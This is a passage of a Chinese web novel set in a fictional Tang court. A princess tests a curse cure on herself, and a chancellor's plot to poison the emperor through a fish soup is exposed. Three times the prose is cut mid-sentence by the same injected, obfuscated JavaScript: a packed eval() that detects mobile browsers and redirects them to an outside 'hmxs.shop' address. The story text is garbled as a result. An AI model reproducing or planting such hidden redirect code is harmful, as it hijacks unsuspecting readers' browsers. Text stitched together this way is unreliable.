此药经过多人多次验方,效果显著,但是他们终究与陛下的血脉不完全相同。所以在呈给陛下之前,必须寻找与陛下血脉完全一致之人进行最后的尝验。” 冯麓咬了咬牙,决定把自己的身世说出来:“民女恐怕已经是世间唯一一位与陛下血脉一致之人,所以只要民女尝验后有效,陛下可立即解咒,无需再等待。” 李麒轻轻叹息了一声,无奈地说:“所以,朕不是说过不能冒险吗?” 冯麓突然明白了什么,突然抬起头,望向帘幕后那个始终疏离冷漠的皇帝。而李麒也正在透过薄如蝉翼的帘幕,微笑着看着他护了许久的最后一个亲人。 紫宸殿上所有人都被冯麓和李麒这两句信息量巨大的话语惊呆在原地,面面相觑。 谈啸的大脑已经乱成一团,眼神在地上的冯麓和高高在上的李麒之间来回转换。 “安昀公主?”已经反应过来的苏炀最先开口。 他没想到,去世已久的安昀公主其实根本没死。而他更想不到的是,面前这个看似淡然无争、心无城府的年轻小皇帝会把这么大的事情隐瞒至今,而他作为人脉遍布长安的四朝老臣却丝毫不知。 李麒,你到底还藏了什么? “安昀公主不是很早就去世了吗?”“验方使就是安昀公主?真的假的?”“陛下都承认了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757286|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看来是真的。” “即使是安昀公主也不能排除她的嫌疑。”苏炀转了转眼珠,“陛下,既然公主提议主动尝验以证清白,臣无异议。” “可是……” “请陛下恩准!” 李麒的犹豫与冯麓的决绝在大殿上方相撞,还夹杂着一些看热闹的交谈声,以及心怀鬼胎的眼神交错。 李麒心事重重地垂眸注视着瘦弱却不肯退让的冯麓,突然想起了十一年前的一些往事。 他的皇长兄李晗从小文武双全,可是即位后才三年就被小人害死了。为了稳定朝廷,母亲没有公布李晗真正的死因,还把最后一个孩子送出宫避难。 毕竟,比诅咒的稳定死期更恐怖的是盘桓在周围的未知威胁。诅咒只是想要你的命,但敌人想要的就多了。 李麒一直都知道李晗死于奸臣之手,可他不能说;李麒一直都知道李萦没死,可他也不能说。 十三岁即位的年轻皇帝没有父母,没有心腹,只能任由苏炀这个资历最深的老臣控制。皇帝?可能称他为傀儡更合适。 这几年,他一直在默默派人监视着钟南山南麓那户夫妻,但凡他们没有银钱了就会用一些小伎俩给他们。可五年前,那对夫妻却突然带着妹妹消失了,怎么找都找不到。 一年前,蓝田县有对夫妻得知养女杀了想强娶自己的老头子后跑去府衙告状,正好被凌之韫领队巡逻时撞见,发现这是安昀公主的养父母后顺手就让他们蹲了几个月大牢。 李麒从凌之韫那听到了妹妹逃脱家庭拜入孙道士门下的消息,嘴上感慨着说她不愧是李氏子孙,心里却在暗暗痛恨自己一时疏忽没能保护好她。 再下一次,就是那一日的朱雀大街,没想到妹妹去孙道士那里还真学到了真本事,居然可以让人起死回生,救人用的还是母后亲自绣了送她的那条手帕。想必,母后在天之灵知道妹妹如今可以独当一面,也会倍感欣慰吧。 李麒立即让凌之韫把妹妹宣进宫里,但她不仅没有与自己相认,好像还很害怕自己。 她在生我的气吗?气我没有第一时间把她接回宫?还是她已经离家太久,已经完全不记得自己是李萦了? 不管是因为什么,他都不希望冯麓再脱离他的视线,那是他仅剩的亲人,不能再出现任何闪失。 可是,要是把冯麓的身份宣告天下势必会引起奸臣的注意,他不愿意再看到十年前那个惨案再次发生,但他又不可能把亲妹妹当成才人招进宫。 于是,他想到了一个奇招——让冯麓为自己解咒。 给她最崇高的制使身份,给她自由进出皇宫的鱼符,给她无处不在的护卫,和一个任谁也无法轻易伤害她的理由。 毕竟,一个有可能改写大唐命运的人,一个承载了无数求生希望的人,有多少人盼着她死,就有更多的人护着她活下去。 “那您到了二十五岁怎么办?”凌之韫问。 李麒扶着栏杆,眺望着远处白茫茫一片的长安城,浅笑着说:“凌兄,我起初想让安昀有个被保护的理由,至少可以让她平平稳稳地度过最后的几年,但现在看来,或许她真有让大唐转危为安的能力。” 脑海中的画面一转,让李麒的思绪重新回到这座重臣云集的紫宸殿上,帘幕外,冯麓仍然一动不动地伏在地上,用一腔孤勇等待着他的旨意。 他去年冬天对凌之韫说的那句话再次回荡在他的双耳之间。 “相信她,是朕唯一能为她做到的事情。” 虽然李麒仍然对那个药方将信将疑,毕竟死了那么多人,药方不可能一点问题都没有,万一出了事儿,他最后一个亲人就没了,但是…… 他紧咬着牙,不由自主地闭上眼睛,殿外的日光透过窗户照在那张遍布血纹的脸庞上,闪烁着从未有过的踌躇之色。 “请陛下恩准!”冯麓再次磕了一个响亮的头,又狠又重地砸在李麒的心上。 “唉。”李麒长长地吐了一口气。 还是相信她吧。 相信,这个王朝唯一的救世主。 34.亲自试药 大臣一一散去后,紫宸殿只留下了冯麓、凌之韫以及龙椅上的李麒。 三人沉默不语,凌之韫在盯着李麒,李麒在注视冯麓,而冯麓仍然跪在地上垂眸向地面。 李麒终于没忍住开口问:“你为何不随他们一同离开?” 冯麓回答:“民女以为陛下有话要说。” “‘民女’?”李麒拖着沉重却飘摇的步伐,一步步走到冯麓面前把她挽起来。 “你既已知晓自己的身份,为何不与朕相认?”李麒停顿了一下,“安昀,你很害怕朕吗?好像你一年前刚见到朕的时候也很害怕。” 与李麒初见的那一天?好像她也是这样跪在他的身前,还以为自己遇到了史诗级医闹,是死是活全凭他一声令下。 历史书上对唐乾宗李麒的描述只有寥寥几笔,但是每个学生都知道李麒曾经凌迟处死了对平定吐蕃叛乱有功的三朝元老苏炀,一提到他就必定会提到“昏庸”“狠厉”“暴政”这几个字眼,怎么可能不怕。 不过,在验方的过程中,她逐渐发现了苏炀集团的全力阻止解咒的阴谋,也或多或少看穿了他们企图推翻政权的野心,想来李麒杀了他们并不是无缘无故的嗜杀成性。 她没有回答李麒的问题,李麒也没有强迫她说话,而是轻声说:“你不愿意回来是对的,这也是母后把你送出宫的原因。这里群狼环伺,就连朕都有随时死于非命的可能,更别说你了。 ‘验方使’这个身份起初是朕给你布下的保护伞,但渐渐地,朕发觉你并不需要朕的保护伞,你真的有做到这一切的才能。 ” “朕为你骄傲,但不想你冒险。”李麒背过身子,眼神虚焦地落在不远处的一点,“所以当你那日偷偷溜出宫后,朕也并没有派人阻拦你,如果代价是朕要再一次看着亲人在朕眼前死去的话,即使一辈子不与你相认,即使再也没办法看到你的脸,朕也可以接受。” 冯麓叹了口气,问:“那陛下方才又为何同意了我的请求?” “朕想用尽全力保护你和嬗儿,但却总是让你们陷入危险。所以,朕想在死前把那些腐烂的幕后之人连根拔起,留给你和嬗儿一个清净而没有后顾之忧的将来。而这个计划,在这几日已经到达了收网之时。” 李麒转回过身来,那双琥珀色的眼眸闪着窗外撒进来的日光,“朕猜测,他们得知你要以身试药后必然会有所行动。” “我也是这么想的。”冯麓垂下眼眸思考着,“芮雪没有死,他们用芮雪的‘假死’来迷惑我们,或许是在暗自密谋些什么。毕竟,解药就快做出来了,留给他们的时间只会越来越少。” “你有计划了?” 冯麓点点头,李麒无声地浅笑,目光中尽是对自家有女初长成的宠溺与欣慰,连脸容上的血纹都变得温柔许多。 “好。皇兄陪你。” 冯麓听言抬起头看向背着手的李麒。他们又一次站到了同一战线的同一立场上,不管是击败病魔还是击败叛贼。 “我们会赢的,”冯麓深深地注视着李麒那双深邃如海的双眼,坚定地说,“李氏会赢的。” 绫绮殿,冯麓服下第一天的剂量。起初没有什么感觉,但第二天的时候突然感到头痛欲裂,头晕乏力,甚至畏寒发抖。 “公主殿下,需要停药吗?”侍女小千满脸焦急地馋着冯麓问道。 “不。”冯麓回想起数据分析时统计的那些不良事件表,她遇到的这些不良反应几乎都在其他实验组患者身上出现过。而解药起效很慢,通常需要熬过前几天才会到来。 第三天,冯麓直接发起了高烧。冯麓摸了摸自己的额头,草草判断这应该已经有三十九摄氏度。她吩咐侍女拿温水来全身擦浴,以及去御膳房要冰块装在布袋子里敷在额头上。 小千皱着眉头说:“公主殿下,您就别操心了,交给太医来诊治吧。” 冯麓极力忍住头疼说:“不行,在治疗期间我不能用任何药物。一旦用了其他药物影响了解药发挥疗效我就必须停药,那就白白在我身上浪费时间了。” “那小的要去告诉陛下吗?”“不行,他有自己的事情要忙。” “可是……”“听我的。” 第四天,冯麓仍然高烧不退,这个消息最终还是瞒不住,通过来送饭菜的御膳房杂役传了出去,闹得李麒火急火燎来了绫绮殿,问小千情况怎么样。 “为何不传太医?你们就是这样伺候公主的吗?” 李麒低沉的声音里是爆裂的怒意,脖子上的青筋都尽数撑起,吓得一排侍女侍卫“扑通”一下全跪了下来,慌里慌张地磕头认罪。 冯麓见状赶紧从床上起身,抓住李麒的手臂解释道:“是我不让她们传召的。皇兄,别怪她们。” 李麒深呼吸一口气,担忧地说道:“这解药到底怎么回事儿?这都连吃四日了还没起效吗?依朕来看还是别试了。” “不行。”冯麓再一次斩钉截铁地否决了别人的提议。 跪在地上的一众下人纷纷在心里佩服这个没见过面的公主,当她下定决心做一件事情的时候,居然可以如此无所畏惧。也正是因为有这样一往无前的人,“李氏诅咒”才终于迎来了破解之法。 这几日,安昀公主没有死、安昀公主和验方使是同一个人,以及公主亲自试药高热不退的消息接踵而至,一时间,这些八卦成了整个长安城的饭后谈资。 芮雪和白理一接到消息就从同州赶来了长安。 “你们说,安昀公主会不会……那个呀?就跟那些用了她的药死掉的人一样。” “会个头!” 芮雪火冒三丈地猛地一拍桌子,把那一桌的人都给吓了一大跳。 “喂,小姑娘,你乡下来的吧?我们在这儿谈论,你从旁边横插一脚,也太没教养了。” “对啊,我就是乡下来的又怎样?你们不许说这些话!她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800084|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会死的!”一向温和内敛的芮雪此时像变了一个人似的,面红耳赤地与路人争论着。 “谁?安昀公主?哈,就算她现在不死也活不到二十五岁,早晚的事儿。”路人男子挑了挑眉,“她死不死的跟你我这些老百姓没什么关系,倒是你,方才打翻了我们的热茶,得赔五文钱。” “我说了,姐姐她不会死的,她是最聪明的人,你们不许咒她……”芮雪的嘴突然被一只散发草药味的大手捂住,然后她的视线就被高大的白理挡住了。 “各位抱歉,这里是茶水钱,小孩子家里人出事儿了比较敏感,多多担待。”白理迅速把铜板放在桌子上就把芮雪拖走了。 “你冷静点。”“我冷静不了!” 芮雪大口大口喘着气,眼泪像决堤一般掉在铺满青石板的街道上,“姐姐出门前还说她很快就会回来,还说要带我回蓝田见太师傅,和师舅们一起行医、一起生活的。” 她用袖子擦掉眼泪,抽泣着说:“她只是我的姐姐,我的师傅,这么久都没人找过她,她怎么突然就是公主了?姐姐她明明那么健康,也没有血纹,怎么会是中咒人呢?” 白理很早就发现了冯麓的脉象是“气不摄血证”,但因为被冯麓否认所以也没再多想,没想到最害怕的结果还是发生了。 他也很想问出这些问题。是啊,事情怎么会发展成这样? 明明他们几日前在花朝节上还有说有笑,怎么就突然被人用火谋杀,怎么就突然被召进宫,怎么就突然身陷囹圄,怎么就突然变成了公主,怎么就突然命悬一线了? 一切的一切都来得太快,让人根本来不及反应。 不对,得冷静地想想。白理闭上眼睛调整呼吸。 “芮姑娘,你相信冯医师吗?”白理冷不丁地扭头问。 “嗯。”芮雪果断点点头。 “她能力很强,对所有事情的掌控力超出预想,她不会让自己这么轻易地死掉。”白理说。 “而且,你应该记得,三期验方加入红参后,有很多病患都会经历发热的阶段,只是程度不同。”芮雪终于从极度地悲伤中冷静下来,回想起自己看过的那些病患的数据,继续点头。 “所以,这只是解咒必经之路,她又不是傻子,肯定心里很清楚所以才敢自己尝试的,更何况宫里有太医,还有跟我们同样担心她的兄长,肯定会没事的。”白理露出微笑安慰着,“放轻松,不是要相信她吗?” 芮雪点点头,眼神坚定了许多,回应道:“嗯!” 白理本来心里也没多大把握,但对芮雪安慰了一通后竟把自己也给说服了。毕竟冯麓是个奇女子,在她身上就算死而复生也不奇怪。 但他还是忍不住担忧起来。 他怕世间少一个天赋异禀的女医,少一个顶天立地的学者,他还怕自己心里的话还没来得及说出口就被带到坟墓里,他怕在那个小房间里的那一次对视是他们见的最后一面。 35.阴谋败露 一个身形高大的五旬长者徐徐走入一间小屋,他身后还跟着一个步履慌忙的男子。长者进了屋子悠悠然地坐下,倒了杯茶细细品味,丝毫没有焦急之色。 “苏相,您真要坐视不管吗?”谢磐可没闲心喝茶,他只想知道现在到底该怎么做。 “十几年都等得,才几日就等不得?”苏炀淡淡地冷笑,“无耐心者难成大事。” “如今看似是我们掌控局面,实际上早已脱离控制,先不提冯麓这丫头摇身一变成了安昀公主这件离奇之事,目前据宫内的线人来报,她的血纹已经消失了,解咒近在咫尺啊! 苏相,留给我们的时日不多了,再拖下去,这十几年的心血就白费了!难道,您不想改朝换代坐拥天下了吗?”谢磐越说越激动,面色涨红地站在苏炀身旁一遍遍提醒他们的谋略与野心。 苏炀放下茶杯,“我当然想!但是这事儿急不得。我们登基必须有可以服众的理由,否则史官不会轻易放过我们。如今李麒未死,我们不可贸然行动。” “您的意思是……” 苏炀声音低沉地说:“安昀公主已经顺利解咒后陛下必定会服药,既然解咒过程中会发生高热,那就让他在那场高热中永远闭眼吧。” 冯麓服药七日后身体已经恢复正常,背后的血纹几乎看不见了,而且也感到浑身充满了力量。 很快,李麒服药的消息也传到了宫外,传到了苏炀和谢磐的耳朵里。 无人在意的普通之夜,又是一群人聚在翊善坊,眼神交汇着讨论一个高风险高回报的计划。 苏炀半眯着眼,面无表情地瞥了一眼坐在门口旁边的张镡,“张镡,这事儿就交给你了。” 突然被叫到名字的张镡心里忽地一惊,谢磐看出了张镡的犹疑不定,轻哼说道:“张司直,你要是害怕,现在退出还来得及。” 看张镡不回答,谢磐则又补充道:“别忘了,当初大雪压城之时是谁救的你,是谁花重金供你吃穿用度和考取功名,你如今进了大理寺就想背叛苏相了?” “下官不敢,”张镡连忙跪在地上,“只是……我们真的要走到这一步吗?就不能不杀人吗?” “起事是不能退缩的,要么死,要么赢。”苏炀说。 苏炀环视了一圈屋内的众人。这里是他最信任的党羽,有的甚至从十几年前李麒父亲在世时就跟着他做事,个个都是大唐的中流砥柱,是李麒信任依赖多年的叔叔伯伯。 苏炀的脑海里突然浮现出十一年前幼小的李麒刚登基时的模样。他怯生生地瞟着站满紫宸殿的官员,连一句完整的旨意都得分开三段来说。李麒批阅公文奏折也经常让苏炀陪着,睁着琥珀色的大眼睛一遍又一遍地问“苏伯伯,这句话是什么意思”。 苏炀能在宰相兼中书令的位置上坐得这么平稳,是李麒的意愿。苏家有事,李麒把它当成自己的事情去处理,甚至连苏炀儿子成亲他都亲自去贺喜。 所以,让身负诅咒的李麒寿终正寝,是苏炀最大的仁慈与恻隐。毕竟,为了平步青云扫除障碍,他也不是没杀过皇帝。 “动手吧。如果死的不是他,就是我们了。” 苏炀闭上双眼,默默感慨李麒此生做得最错误的决定,就是投身成为了一个李家人。 宫里线人再次传来消息,李麒服药后的第二天果真出现了发热的症状,或许是因为病情比较危重,所以高热的情况比冯麓更甚,就快撑不住了。 这下子不仅解咒面临难关,大唐皇帝也命在旦夕,长安城一时间闹得沸沸扬扬,街头巷尾都在讨论这事儿。 “哎,你们说咱们大唐下一任皇帝会是谁啊?” “陛下没有子嗣,公主也没有,若是不传位给旁系后代怕是无人了!” “难道维系了上百年的李氏江山要改名换姓了么?这不符合礼法吧!” “什么礼法不礼法的,我就觉着只要不打仗好好过日子,谁当皇帝都行。” “据闻南诏仍在不停来犯,若大唐不稳,贼人怕是会趁火打劫哟。” 张镡攥紧了拳头,从那些老百姓身边匆匆路过。因为那些百姓的言论和他心里担忧的事情重合了。 苏炀反叛这一步一旦迈出去,那么大唐会迅速陷入混乱,若此时外邦趁机入侵,就有可能死伤无数,就有可能出现成百上千个像他那样因战争而流离失所的孩子。 但是,他终究已经成为了苏炀的棋子,一颗痛恨大唐的棋子。 张镡联系了他在宫内的线人——刚与尚食局的好友换班的密阁宫女金婵。金婵收到的任务是给李麒煮一锅鱼汤,而且要往里加点东西。 “必须是鱼汤。”张镡这么说道。 金婵虽然不知道原因,但张镡是小时候从平康坊救出来的恩人,再难的要求她也会完成。 她鬼鬼祟祟从袖子里掏出张镡通过宫门侍卫传递给她的毒物,刚要放进锅里就被一个女声所打断。 “那个丫头!你等会儿熬好汤后端来我这儿,我亲自尝验!” 什么? 听到身后突然有人高声呼喊自己,金婵大惊失色,赶紧把东西放回袖子里没敢动。 金婵回头,发现是尚食局的尚食正在快步向她走来,紧张得说出口的话都不自觉打结:“崔大人您……您要亲自尝验?” 穿着浅绯色官服的崔珩走过来点点头,揭开锅盖瞥了一眼锅里奶白色的汤说:“之前是只用银针试砒霜的,如今陛下身子不太好,汤肴中的香料恐怕会与陛下所服用的药物有冲突,单用银针是试不出来毒性的。” 她垂下眼眸轻轻嗅了一下,问道:“丫头,你是不是加了当归和枸杞?” 金婵回答道:“是,除了这些别的什么也没加。” “你是刚来尚食局吧?是我疏忽了,应该跟你说清楚再让你做事的。” 崔珩的表情仍然带着温和的微笑,她用勺子舀起一堆配料,移动到金婵面前展示给她看,“首先,处于高热状态的病患是不能补气血的,就比如红枣、枸杞、当归这些。其次,这类型的病患也不能食用过于油腻的食物,所以你得把鱼腩去了,炖煮完成冷却后刮掉清澈的油脂层,再重新熬煮滚烫。 最后,若因尚食局的差错而让陛下误食了不合适的菜肴,恐怕我区区一个五品尚食没办法扛下所有,所以除了我之外,你们也一定要谨慎再谨慎。” 崔珩把勺子放下,拍了拍金婵的肩膀,笑着说:“趁时间还来得及,赶紧重做吧。” “是,崔大人。” 金婵再次熬了一锅鱼汤,小心翼翼地等待崔珩尝验,只有她点了头,这锅汤才可以被送出尚食局。 离开这里的时候,金婵终于见缝插针找到了机会偷偷把张镡给她的东西加到汤里。 这东西她其实也不知道是什么,没有药味也没有砒霜味,腥味倒是十分的重。 “希望有用,”她低声念道,“等这个陛下驾崩换了新帝,应该就不会有战乱了。” 金婵用余光瞥了一眼斜后方正向她靠近的人影,轻轻笑了一下,目前一切都还在她的掌控之中。 “见过凌大人。”金婵端着汤微微躬身行礼,她装作手上没劲,晃悠了几下眼看着盘子里的汤盅就要摔下地。 凌之韫面无表情地把金婵扶正,接过她手里的餐盘说:“我来送进去即可。” 金婵没想到的是,紫宸殿的侍卫伸出手把凌之韫拦了下来,说着也要尝验那锅汤才可以放行。 金婵刚落下去的那颗心重新被提起来,只是看着侍卫那慢悠悠的动作心跳就已经如骏马奔腾一般。 不过好在侍卫对汤食的了解没有崔珩那么深刻,只是说了句:“今天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832870|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤不错,很香浓。” 金婵听到这句话后终于彻底放心。 那锅汤被送进去没多久,侍卫就笑着对还未离开的金婵说道:“娘子,你今日送的这锅汤真是好东西,我只是尝了一口就全身暖洋洋的,好像力气都大了些呢!” “哈哈,是吗。”金婵敷衍回答道。 没过多久,紫宸殿就开始进进出出地忙活,宫人面色惨白,神色慌张,情况很不乐观的样子。 “这这这是怎么了?”侍卫连忙拦住一个宫女问。 “陛下喝了那汤高热不下昏倒过去,怕是有毒!”宫女放低声音,“可能快不行了!” 这些话全都被站在一旁的金婵听了个清清楚楚,她立即向宫外传递消息。 很快,苏炀和谢磐就带着一众人马冲到紫宸殿,浑厚有力地高呼:“接到密信有人暗杀陛下,前来救驾!” 他站在寝殿外,看着帷幕内死气沉沉躺着的李麒,又看了看他身边不断哭泣的凌嬗和宫人,心下了然,声音颤抖着问:“袁太医,你光站着做什么,还不速速救治陛下?” “下官无能,陛下已经……”袁太医抿着嘴说。 苏炀“扑通”一下跪在地上,跟在他身后的谢磐则愤怒地指着指凌之韫,斥道:“凌之韫!可是你下的毒?” 凌之韫面无表情地把谢磐的手指别开,冷冷地否认:“不是我。” “门口侍卫说你是接触汤食的最后一人,而且崔尚食和侍卫吃了汤食都没事,陛下吃了就有事,不是你又是谁?” 凌之韫挑眉问:“证据呢?” “你要证据是吧,好,来人啊,搜身!”谢磐高呼。 御前侍卫果然发现凌之韫的衣袖上沾了些许粉末,一旁待命的袁太医凑近嗅了嗅,皱起眉说:“这是鹿茸研磨成了粉,味腥性热,若是在寻常的汤水里一尝便知,偏偏这是鱼汤。适合气血虚弱者食用,若是高热病人服下会加重病情,所以始作俑者应该就是它。” 凌之韫冷笑一声。 谢磐立即上前揪住凌之韫的衣领,狠狠地说:“好哇凌之韫,人证物证全在,你要怎么狡辩?陛下那么信任你,把你视作心腹,你就是这么回报陛下的?你是想趁陛下解咒之时给他下毒,这样便可以抢夺皇位吧?可惜,你打错算盘了!我们定不会让你这样贼人得逞!” 谢磐一声令下,把凌之韫扣了下来,押至天牢。 苏炀对着帷幕里已经驾崩的李麒磕了几个响头,沉重万分地说:“陛下,臣已替您惩治了罪臣,臣以后也会替您照顾好皇后娘娘与安昀公主,请您安息吧。” “苏相您本就是大唐人之龙凤,还是四朝老臣,相信大唐在您的指引下一定可以延续盛世辉煌,大唐不可一日无主,臣恳请您即位统领天下!” 谢磐此言一出,苏炀带来的大臣全都跪下高喊:“臣恳请苏相即位统领天下!” 苏炀得意地站起来,一扫方才的悲痛神情,整了一下自己的衣冠后说:“朕,必不负众卿所托。” 突然,殿中传来女子清脆的笑声。 苏炀与谢磐回头寻找那笑声的源头,只见帷幕里突然坐起一个人,掀开帷幕走出来。 “苏大人,您演得真好,可以去唱戏本了。” “怎么是你?”苏炀惊讶地看着冯麓,又看了看憋不住笑的凌嬗,“你们……你们做局耍我?” “谁做局,谁耍谁?难道用鹿茸害陛下的是我们吗?”冯麓挑了挑眉,抱着手臂严肃地说。 “朕那么信任你,把你视作心腹,你就是这么回报朕的?” 李麒缓缓从一个房间里走出来,面上的血纹仍然鲜艳夺目。苏炀立刻就明白了,李麒他根本没用任何解药,他所得知的秘密消息,全是李麒想让他知道的。 “可惜啊,苏卿。你打错算盘了。”